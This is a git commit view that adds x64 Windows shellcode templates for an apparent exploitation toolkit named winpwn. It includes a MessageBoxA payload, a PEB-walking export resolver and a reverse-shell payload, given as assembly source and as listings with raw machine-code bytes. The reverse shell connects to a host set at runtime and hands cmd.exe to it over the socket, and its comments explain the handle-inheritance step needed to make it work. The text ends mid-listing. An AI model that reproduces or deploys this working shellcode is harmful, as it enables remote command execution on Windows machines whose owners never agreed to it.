v0.1 - initial commit

This commit is contained in:
2026-07-18 21:37:15 +03:00
commit 9b89f4cb8e
153 changed files with 22887 additions and 0 deletions
+50
View File
@@ -0,0 +1,50 @@
; messagebox_x64.asm — position-independent x64 shellcode: resolve
; user32.dll!MessageBoxA via LoadLibraryA (user32.dll isn't guaranteed
; loaded in a plain console process, unlike kernel32) and pop a real
; message box. Returns normally (ret) once the user dismisses it, so the
; host thread keeps running afterward.
;
; text_buf/caption_buf are fixed-size placeholders at the very end of the
; assembled blob; winpwn patches them at runtime with the actual
; NUL-terminated strings (see shellcraft.go).
BITS 64
default rel
start:
push rbp
push r12
mov rbp, rsp
and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
call get_kernel32_base
mov rcx, rax
lea rdx, [rel name_user32]
lea r8, [rel name_messageboxa]
call resolve_export
mov r12, rax ; r12 = MessageBoxA address
xor rcx, rcx ; hWnd = NULL
lea rdx, [rel text_buf] ; lpText
lea r8, [rel caption_buf] ; lpCaption
xor r9, r9 ; uType = MB_OK
sub rsp, 0x20 ; shadow space required before any WinAPI call
call r12
add rsp, 0x20
mov rsp, rbp
pop r12
pop rbp
ret
%include "resolver.inc"
name_user32: db "user32.dll", 0
name_messageboxa: db "MessageBoxA", 0
align 8
text_buf:
times 256 db 0
align 8
caption_buf:
times 64 db 0
Binary file not shown.
+218
View File
@@ -0,0 +1,218 @@
1 ; messagebox_x64.asm — position-independent x64 shellcode: resolve
2 ; user32.dll!MessageBoxA via LoadLibraryA (user32.dll isn't guaranteed
3 ; loaded in a plain console process, unlike kernel32) and pop a real
4 ; message box. Returns normally (ret) once the user dismisses it, so the
5 ; host thread keeps running afterward.
6 ;
7 ; text_buf/caption_buf are fixed-size placeholders at the very end of the
8 ; assembled blob; winpwn patches them at runtime with the actual
9 ; NUL-terminated strings (see shellcraft.go).
10 BITS 64
11 default rel
12
13 start:
14 00000000 55 push rbp
15 00000001 4154 push r12
16 00000003 4889E5 mov rbp, rsp
17 00000006 4883E4F0 and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
18
19 0000000A E83F000000 call get_kernel32_base
20 0000000F 4889C1 mov rcx, rax
21 00000012 488D1551010000 lea rdx, [rel name_user32]
22 00000019 4C8D0555010000 lea r8, [rel name_messageboxa]
23 00000020 E8CE000000 call resolve_export
24 00000025 4989C4 mov r12, rax ; r12 = MessageBoxA address
25
26 00000028 4831C9 xor rcx, rcx ; hWnd = NULL
27 0000002B 488D1556010000 lea rdx, [rel text_buf] ; lpText
28 00000032 4C8D054F020000 lea r8, [rel caption_buf] ; lpCaption
29 00000039 4D31C9 xor r9, r9 ; uType = MB_OK
30 0000003C 4883EC20 sub rsp, 0x20 ; shadow space required before any WinAPI call
31 00000040 41FFD4 call r12
32 00000043 4883C420 add rsp, 0x20
33
34 00000047 4889EC mov rsp, rbp
35 0000004A 415C pop r12
36 0000004C 5D pop rbp
37 0000004D C3 ret
38
39 %include "resolver.inc"
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
5 <1> ; one-shot resolutions).
6 <1> ;
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
9 <1> ; non-volatile register they touch, so callers can keep values live in
10 <1> ; r12-r15 across calls to either of these.
11 <1>
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
13 <1> ;
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
16 <1> ; fixed load order is the same trick essentially every public Windows x64
17 <1> ; shellcode relies on.
18 <1> get_kernel32_base:
19 0000004E 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
20 00000057 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
21 0000005B 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
22 0000005F 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
23 00000062 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
24 00000065 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
25 00000069 C3 <1> ret
26 <1>
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
29 <1> ;
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
34 <1> find_export:
35 0000006A 4154 <1> push r12
36 0000006C 4155 <1> push r13
37 0000006E 4156 <1> push r14
38 00000070 4157 <1> push r15
39 00000072 56 <1> push rsi
40 00000073 57 <1> push rdi
41 00000074 53 <1> push rbx
42 <1>
43 00000075 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
44 00000078 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
45 <1>
46 0000007B 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
47 00000080 4C01E0 <1> add rax, r12 ; rax = NT header VA
48 00000083 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
49 00000089 4C01E0 <1> add rax, r12
50 0000008C 4989C6 <1> mov r14, rax ; r14 = export directory VA
51 <1>
52 0000008F 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
53 00000093 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
54 00000097 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
55 0000009A 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
56 0000009E 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
57 000000A1 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
58 000000A5 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
59 <1>
60 000000A8 4D31FF <1> xor r15, r15 ; r15 = loop index i
61 <1>
62 <1> .loop:
63 000000AB 4939DF <1> cmp r15, rbx
64 000000AE 7D34 <1> jge .notfound
65 <1>
66 000000B0 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
67 000000B4 4C01E0 <1> add rax, r12
68 000000B7 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
69 000000BA 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
70 <1>
71 <1> .cmp_loop:
72 000000BD 8A06 <1> mov al, [rsi]
73 000000BF 8A0F <1> mov cl, [rdi]
74 000000C1 38C8 <1> cmp al, cl
75 000000C3 750C <1> jne .next
76 000000C5 84C0 <1> test al, al
77 000000C7 740D <1> je .found ; both hit NUL with every byte equal -> match
78 000000C9 48FFC6 <1> inc rsi
79 000000CC 48FFC7 <1> inc rdi
80 000000CF EBEC <1> jmp .cmp_loop
81 <1>
82 <1> .next:
83 000000D1 49FFC7 <1> inc r15
84 000000D4 EBD5 <1> jmp .loop
85 <1>
86 <1> .found:
87 000000D6 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
88 000000DB 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
89 000000DF 4C01E0 <1> add rax, r12 ; absolute address
90 000000E2 EB03 <1> jmp .done
91 <1>
92 <1> .notfound:
93 000000E4 4831C0 <1> xor rax, rax
94 <1>
95 <1> .done:
96 000000E7 5B <1> pop rbx
97 000000E8 5F <1> pop rdi
98 000000E9 5E <1> pop rsi
99 000000EA 415F <1> pop r15
100 000000EC 415E <1> pop r14
101 000000EE 415D <1> pop r13
102 000000F0 415C <1> pop r12
103 000000F2 C3 <1> ret
104 <1>
105 <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
106 <1> ; -> RAX = absolute address of the export, or 0 on any failure.
107 <1> ;
108 <1> ; find_export alone only works if the target module is *already* loaded
109 <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
110 <1> ; in a plain console process. When RDX is 0 this is exactly find_export
111 <1> ; (the function is assumed already loaded at the module base in RCX).
112 <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
113 <1> ; (itself just another find_export call) and called to load-or-fetch the
114 <1> ; named module, then find_export resolves R8 inside *that* module's base.
115 <1> resolve_export:
116 000000F3 4154 <1> push r12 ; kernel32 base
117 000000F5 4155 <1> push r13 ; dll name ptr (or 0)
118 000000F7 4156 <1> push r14 ; func name ptr
119 000000F9 55 <1> push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
120 000000FA 4889E5 <1> mov rbp, rsp
121 000000FD 4883E4F0 <1> and rsp, ~0xF
122 <1>
123 00000101 4989CC <1> mov r12, rcx
124 00000104 4989D5 <1> mov r13, rdx
125 00000107 4D89C6 <1> mov r14, r8
126 <1>
127 0000010A 4D85ED <1> test r13, r13
128 0000010D 750D <1> jnz .need_loadlibrary
129 <1>
130 0000010F 4C89E1 <1> mov rcx, r12
131 00000112 4C89F2 <1> mov rdx, r14
132 00000115 E850FFFFFF <1> call find_export
133 0000011A EB36 <1> jmp .resolve_done
134 <1>
135 <1> .need_loadlibrary:
136 0000011C 4C89E1 <1> mov rcx, r12
137 0000011F 488D1537000000 <1> lea rdx, [rel name_loadlibrarya]
138 00000126 E83FFFFFFF <1> call find_export
139 0000012B 4885C0 <1> test rax, rax
140 0000012E 741F <1> jz .resolve_fail
141 <1>
142 00000130 4C89E9 <1> mov rcx, r13 ; LoadLibraryA(lpLibFileName)
143 00000133 4883EC20 <1> sub rsp, 0x20 ; shadow space required before any WinAPI call
144 00000137 FFD0 <1> call rax
145 00000139 4883C420 <1> add rsp, 0x20
146 0000013D 4885C0 <1> test rax, rax
147 00000140 740D <1> jz .resolve_fail
148 <1>
149 00000142 4889C1 <1> mov rcx, rax ; the newly (or already) loaded module's base
150 00000145 4C89F2 <1> mov rdx, r14
151 00000148 E81DFFFFFF <1> call find_export
152 0000014D EB03 <1> jmp .resolve_done
153 <1>
154 <1> .resolve_fail:
155 0000014F 4831C0 <1> xor rax, rax
156 <1>
157 <1> .resolve_done:
158 00000152 4889EC <1> mov rsp, rbp
159 00000155 5D <1> pop rbp
160 00000156 415E <1> pop r14
161 00000158 415D <1> pop r13
162 0000015A 415C <1> pop r12
163 0000015C C3 <1> ret
164 <1>
165 0000015D 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0
165 00000166 72794100 <1>
40
41 0000016A 7573657233322E646C- name_user32: db "user32.dll", 0
41 00000173 6C00
42 00000175 4D657373616765426F- name_messageboxa: db "MessageBoxA", 0
42 0000017E 784100
43
44 00000181 90<rep 7h> align 8
45 text_buf:
46 00000188 00<rep 100h> times 256 db 0
47
48 align 8
49 caption_buf:
50 00000288 00<rep 40h> times 64 db 0
+165
View File
@@ -0,0 +1,165 @@
; resolver.inc shared x64 position-independent building blocks for winpwn
; shellcraft templates: find kernel32's base via the PEB (no hardcoded
; addresses) and resolve any export by name (no hashing, just a linear
; name-table scan — simple, auditable, and plenty fast for a handful of
; one-shot resolutions).
;
; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
; args in RCX/RDX, result in RAX. Both routines preserve every
; non-volatile register they touch, so callers can keep values live in
; r12-r15 across calls to either of these.
; get_kernel32_base() -> RAX = kernel32.dll base address
;
; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
; fixed load order is the same trick essentially every public Windows x64
; shellcode relies on.
get_kernel32_base:
mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
mov rax, [rax+0x18] ; PEB->Ldr
mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
ret
; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
; -> RAX = absolute address of the export, or 0 if not found.
;
; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
; entry against the target string, then follows AddressOfNameOrdinals and
; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
; DataDirectory[0] (export table) offset for PE32+.
find_export:
push r12
push r13
push r14
push r15
push rsi
push rdi
push rbx
mov r12, rcx ; r12 = module base (preserved for the whole routine)
mov r13, rdx ; r13 = target name pointer (preserved)
mov eax, [r12+0x3C] ; e_lfanew
add rax, r12 ; rax = NT header VA
mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
add rax, r12
mov r14, rax ; r14 = export directory VA
mov ebx, [r14+0x18] ; ebx = NumberOfNames
mov r9d, [r14+0x20] ; AddressOfNames RVA
add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
xor r15, r15 ; r15 = loop index i
.loop:
cmp r15, rbx
jge .notfound
mov eax, [r9 + r15*4] ; nameRVA for entry i
add rax, r12
mov rsi, rax ; rsi = candidate name VA
mov rdi, r13 ; rdi = target name VA (reset every attempt)
.cmp_loop:
mov al, [rsi]
mov cl, [rdi]
cmp al, cl
jne .next
test al, al
je .found ; both hit NUL with every byte equal -> match
inc rsi
inc rdi
jmp .cmp_loop
.next:
inc r15
jmp .loop
.found:
movzx rax, word [r10 + r15*2] ; ordinal index for entry i
mov eax, [r11 + rax*4] ; function RVA
add rax, r12 ; absolute address
jmp .done
.notfound:
xor rax, rax
.done:
pop rbx
pop rdi
pop rsi
pop r15
pop r14
pop r13
pop r12
ret
; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
; -> RAX = absolute address of the export, or 0 on any failure.
;
; find_export alone only works if the target module is *already* loaded
; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
; in a plain console process. When RDX is 0 this is exactly find_export
; (the function is assumed already loaded at the module base in RCX).
; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
; (itself just another find_export call) and called to load-or-fetch the
; named module, then find_export resolves R8 inside *that* module's base.
resolve_export:
push r12 ; kernel32 base
push r13 ; dll name ptr (or 0)
push r14 ; func name ptr
push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
mov rbp, rsp
and rsp, ~0xF
mov r12, rcx
mov r13, rdx
mov r14, r8
test r13, r13
jnz .need_loadlibrary
mov rcx, r12
mov rdx, r14
call find_export
jmp .resolve_done
.need_loadlibrary:
mov rcx, r12
lea rdx, [rel name_loadlibrarya]
call find_export
test rax, rax
jz .resolve_fail
mov rcx, r13 ; LoadLibraryA(lpLibFileName)
sub rsp, 0x20 ; shadow space required before any WinAPI call
call rax
add rsp, 0x20
test rax, rax
jz .resolve_fail
mov rcx, rax ; the newly (or already) loaded module's base
mov rdx, r14
call find_export
jmp .resolve_done
.resolve_fail:
xor rax, rax
.resolve_done:
mov rsp, rbp
pop rbp
pop r14
pop r13
pop r12
ret
name_loadlibrarya: db "LoadLibraryA", 0
+157
View File
@@ -0,0 +1,157 @@
; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
; redirected to the socket. The classic Windows reverse-shell primitive.
;
; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
; constants since they never change.
;
; Real gotcha, worth recording here since it's easy to miss and the
; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
; error anywhere) gives no hint why: socket() handles are NOT inheritable
; by default on modern Windows (a hardening change from the days when
; every handle was inheritable by default). bInheritHandles=TRUE on
; CreateProcessA alone is not enough -- SetHandleInformation must mark the
; specific socket handle as inheritable first, or the child simply doesn't
; get a usable copy of it no matter what STARTUPINFOA says.
BITS 64
default rel
start:
push rbp
push r12
push r13
mov rbp, rsp
and rsp, ~0xF
call get_kernel32_base
mov r12, rax ; r12 = kernel32 base, kept for the whole routine
; WSAStartup(0x0202, &wsadata_buf)
mov rcx, r12
lea rdx, [rel name_ws2_32]
lea r8, [rel name_wsastartup]
call resolve_export
mov rcx, 0x0202
lea rdx, [rel wsadata_buf]
sub rsp, 0x20
call rax
add rsp, 0x20
; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
mov rcx, r12
lea rdx, [rel name_ws2_32]
lea r8, [rel name_socket]
call resolve_export
mov rcx, 2
mov rdx, 1
mov r8, 6
sub rsp, 0x20
call rax
add rsp, 0x20
mov r13, rax
; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
; -- see the file header: without this, the child below can't actually
; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
mov rcx, r12
xor rdx, rdx
lea r8, [rel name_sethandleinformation]
call resolve_export
mov rcx, r13
mov rdx, 1
mov r8, 1
sub rsp, 0x20
call rax
add rsp, 0x20
; connect(sockfd, &sockaddr_buf, 16)
mov rcx, r12
lea rdx, [rel name_ws2_32]
lea r8, [rel name_connect]
call resolve_export
mov rcx, r13
lea rdx, [rel sockaddr_buf]
mov r8, 16
sub rsp, 0x20
call rax
add rsp, 0x20
; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
; CreateProcessA's own shadow space + its 6 stack-passed arguments.
sub rsp, 0xE0
mov qword [rsp+0x50], 0
mov qword [rsp+0x58], 0
mov qword [rsp+0x60], 0
mov qword [rsp+0x68], 0
mov qword [rsp+0x70], 0
mov qword [rsp+0x78], 0
mov qword [rsp+0x80], 0
mov qword [rsp+0x88], 0
mov qword [rsp+0x90], 0
mov qword [rsp+0x98], 0
mov qword [rsp+0xA0], 0
mov qword [rsp+0xA8], 0
mov qword [rsp+0xB0], 0
mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb
mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
mov [rsp+0xA0], r13 ; .hStdInput (offset 80)
mov [rsp+0xA8], r13 ; .hStdOutput (offset 88)
mov [rsp+0xB0], r13 ; .hStdError (offset 96)
; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
mov rcx, r12
xor rdx, rdx
lea r8, [rel name_createprocessa]
call resolve_export
mov r14, rax
xor rcx, rcx ; lpApplicationName = NULL
lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe"
xor r8, r8 ; lpProcessAttributes = NULL
xor r9, r9 ; lpThreadAttributes = NULL
mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE
mov qword [rsp+0x28], 0 ; dwCreationFlags = 0
mov qword [rsp+0x30], 0 ; lpEnvironment = NULL
mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL
lea rax, [rsp+0x50]
mov qword [rsp+0x40], rax ; lpStartupInfo = &si
lea rax, [rsp+0xB8]
mov qword [rsp+0x48], rax ; lpProcessInformation = &pi
call r14
add rsp, 0xE0
mov rsp, rbp
pop r13
pop r12
pop rbp
ret
%include "resolver.inc"
name_ws2_32: db "ws2_32.dll", 0
name_wsastartup: db "WSAStartup", 0
name_socket: db "socket", 0
name_connect: db "connect", 0
name_sethandleinformation: db "SetHandleInformation", 0
name_createprocessa: db "CreateProcessA", 0
; lpCommandLine must point at writable memory (CreateProcessA may modify
; it in place) -- fine here since shellcode bytes live in a writable page
; wherever they landed, same as every other template's embedded buffers.
cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0
align 8
wsadata_buf:
times 512 db 0
align 8
sockaddr_buf:
dw 2 ; sin_family = AF_INET
dw 0 ; sin_port, patched at runtime (network byte order)
dd 0 ; sin_addr, patched at runtime (network byte order)
dq 0 ; sin_zero[8]
Binary file not shown.
+337
View File
@@ -0,0 +1,337 @@
1 ; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
2 ; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
3 ; redirected to the socket. The classic Windows reverse-shell primitive.
4 ;
5 ; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
6 ; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
7 ; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
8 ; constants since they never change.
9 ;
10 ; Real gotcha, worth recording here since it's easy to miss and the
11 ; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
12 ; error anywhere) gives no hint why: socket() handles are NOT inheritable
13 ; by default on modern Windows (a hardening change from the days when
14 ; every handle was inheritable by default). bInheritHandles=TRUE on
15 ; CreateProcessA alone is not enough -- SetHandleInformation must mark the
16 ; specific socket handle as inheritable first, or the child simply doesn't
17 ; get a usable copy of it no matter what STARTUPINFOA says.
18 BITS 64
19 default rel
20
21 start:
22 00000000 55 push rbp
23 00000001 4154 push r12
24 00000003 4155 push r13
25 00000005 4889E5 mov rbp, rsp
26 00000008 4883E4F0 and rsp, ~0xF
27
28 0000000C E8EB010000 call get_kernel32_base
29 00000011 4989C4 mov r12, rax ; r12 = kernel32 base, kept for the whole routine
30
31 ; WSAStartup(0x0202, &wsadata_buf)
32 00000014 4C89E1 mov rcx, r12
33 00000017 488D15FA020000 lea rdx, [rel name_ws2_32]
34 0000001E 4C8D05FE020000 lea r8, [rel name_wsastartup]
35 00000025 E877020000 call resolve_export
36 0000002A B902020000 mov rcx, 0x0202
37 0000002F 488D153A030000 lea rdx, [rel wsadata_buf]
38 00000036 4883EC20 sub rsp, 0x20
39 0000003A FFD0 call rax
40 0000003C 4883C420 add rsp, 0x20
41
42 ; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
43 00000040 4C89E1 mov rcx, r12
44 00000043 488D15CE020000 lea rdx, [rel name_ws2_32]
45 0000004A 4C8D05DD020000 lea r8, [rel name_socket]
46 00000051 E84B020000 call resolve_export
47 00000056 B902000000 mov rcx, 2
48 0000005B BA01000000 mov rdx, 1
49 00000060 41B806000000 mov r8, 6
50 00000066 4883EC20 sub rsp, 0x20
51 0000006A FFD0 call rax
52 0000006C 4883C420 add rsp, 0x20
53 00000070 4989C5 mov r13, rax
54
55 ; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
56 ; -- see the file header: without this, the child below can't actually
57 ; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
58 00000073 4C89E1 mov rcx, r12
59 00000076 4831D2 xor rdx, rdx
60 00000079 4C8D05BD020000 lea r8, [rel name_sethandleinformation]
61 00000080 E81C020000 call resolve_export
62 00000085 4C89E9 mov rcx, r13
63 00000088 BA01000000 mov rdx, 1
64 0000008D 41B801000000 mov r8, 1
65 00000093 4883EC20 sub rsp, 0x20
66 00000097 FFD0 call rax
67 00000099 4883C420 add rsp, 0x20
68
69 ; connect(sockfd, &sockaddr_buf, 16)
70 0000009D 4C89E1 mov rcx, r12
71 000000A0 488D1571020000 lea rdx, [rel name_ws2_32]
72 000000A7 4C8D0587020000 lea r8, [rel name_connect]
73 000000AE E8EE010000 call resolve_export
74 000000B3 4C89E9 mov rcx, r13
75 000000B6 488D15B3040000 lea rdx, [rel sockaddr_buf]
76 000000BD 41B810000000 mov r8, 16
77 000000C3 4883EC20 sub rsp, 0x20
78 000000C7 FFD0 call rax
79 000000C9 4883C420 add rsp, 0x20
80
81 ; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
82 ; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
83 ; CreateProcessA's own shadow space + its 6 stack-passed arguments.
84 000000CD 4881ECE0000000 sub rsp, 0xE0
85
86 000000D4 48C744245000000000 mov qword [rsp+0x50], 0
87 000000DD 48C744245800000000 mov qword [rsp+0x58], 0
88 000000E6 48C744246000000000 mov qword [rsp+0x60], 0
89 000000EF 48C744246800000000 mov qword [rsp+0x68], 0
90 000000F8 48C744247000000000 mov qword [rsp+0x70], 0
91 00000101 48C744247800000000 mov qword [rsp+0x78], 0
92 0000010A 48C784248000000000- mov qword [rsp+0x80], 0
92 00000113 000000
93 00000116 48C784248800000000- mov qword [rsp+0x88], 0
93 0000011F 000000
94 00000122 48C784249000000000- mov qword [rsp+0x90], 0
94 0000012B 000000
95 0000012E 48C784249800000000- mov qword [rsp+0x98], 0
95 00000137 000000
96 0000013A 48C78424A000000000- mov qword [rsp+0xA0], 0
96 00000143 000000
97 00000146 48C78424A800000000- mov qword [rsp+0xA8], 0
97 0000014F 000000
98 00000152 48C78424B000000000- mov qword [rsp+0xB0], 0
98 0000015B 000000
99
100 0000015E C744245068000000 mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb
101 00000166 C784248C0000000001- mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
101 0000016F 0000
102 00000171 4C89AC24A0000000 mov [rsp+0xA0], r13 ; .hStdInput (offset 80)
103 00000179 4C89AC24A8000000 mov [rsp+0xA8], r13 ; .hStdOutput (offset 88)
104 00000181 4C89AC24B0000000 mov [rsp+0xB0], r13 ; .hStdError (offset 96)
105
106 ; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
107 00000189 4C89E1 mov rcx, r12
108 0000018C 4831D2 xor rdx, rdx
109 0000018F 4C8D05BC010000 lea r8, [rel name_createprocessa]
110 00000196 E806010000 call resolve_export
111 0000019B 4989C6 mov r14, rax
112
113 0000019E 4831C9 xor rcx, rcx ; lpApplicationName = NULL
114 000001A1 488D15B9010000 lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe"
115 000001A8 4D31C0 xor r8, r8 ; lpProcessAttributes = NULL
116 000001AB 4D31C9 xor r9, r9 ; lpThreadAttributes = NULL
117 000001AE 48C744242001000000 mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE
118 000001B7 48C744242800000000 mov qword [rsp+0x28], 0 ; dwCreationFlags = 0
119 000001C0 48C744243000000000 mov qword [rsp+0x30], 0 ; lpEnvironment = NULL
120 000001C9 48C744243800000000 mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL
121 000001D2 488D442450 lea rax, [rsp+0x50]
122 000001D7 4889442440 mov qword [rsp+0x40], rax ; lpStartupInfo = &si
123 000001DC 488D8424B8000000 lea rax, [rsp+0xB8]
124 000001E4 4889442448 mov qword [rsp+0x48], rax ; lpProcessInformation = &pi
125 000001E9 41FFD6 call r14
126
127 000001EC 4881C4E0000000 add rsp, 0xE0
128 000001F3 4889EC mov rsp, rbp
129 000001F6 415D pop r13
130 000001F8 415C pop r12
131 000001FA 5D pop rbp
132 000001FB C3 ret
133
134 %include "resolver.inc"
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
5 <1> ; one-shot resolutions).
6 <1> ;
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
9 <1> ; non-volatile register they touch, so callers can keep values live in
10 <1> ; r12-r15 across calls to either of these.
11 <1>
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
13 <1> ;
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
16 <1> ; fixed load order is the same trick essentially every public Windows x64
17 <1> ; shellcode relies on.
18 <1> get_kernel32_base:
19 000001FC 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
20 00000205 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
21 00000209 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
22 0000020D 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
23 00000210 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
24 00000213 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
25 00000217 C3 <1> ret
26 <1>
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
29 <1> ;
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
